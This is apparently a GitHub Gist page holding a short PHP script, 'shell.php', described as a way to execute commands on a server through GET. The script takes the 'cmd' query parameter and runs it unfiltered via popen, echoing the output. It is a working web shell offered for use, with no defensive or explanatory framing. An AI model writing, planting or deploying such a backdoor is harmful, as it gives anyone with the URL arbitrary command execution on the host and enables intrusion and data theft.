Skip to content

Instantly share code, notes, and snippets.

@Lerie82 Lerie82/shell.php
Created Jun 19, 2018

Embed
What would you like to do?
execute commands on a server through GET
<pre>
<?php
function doCmd($cmd)
{
while(@ob_end_flush());
$proc = popen($cmd." 2>&1 ; echo Exit status : $?", 'r');
$live_output = "";
$complete_output = "";
while(!feof($proc))
{
$output = fread($proc, 4096);
$full_output = $full_output.$output;
echo $output;
@flush();
}
pclose($proc);
preg_match('/[0-9]+$/', $full_output, $matches);
return array(
'exit_status' => intval($matches[0]),
'output' => str_replace("Exit status : ".$matches[0], '', $full_output)
);
}
$cmd = @$_GET['cmd'];
$result = doCmd($cmd);
if($result['exit_status'] === 0)
{
// do something if command execution succeeds
} else {
// do something on failure
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.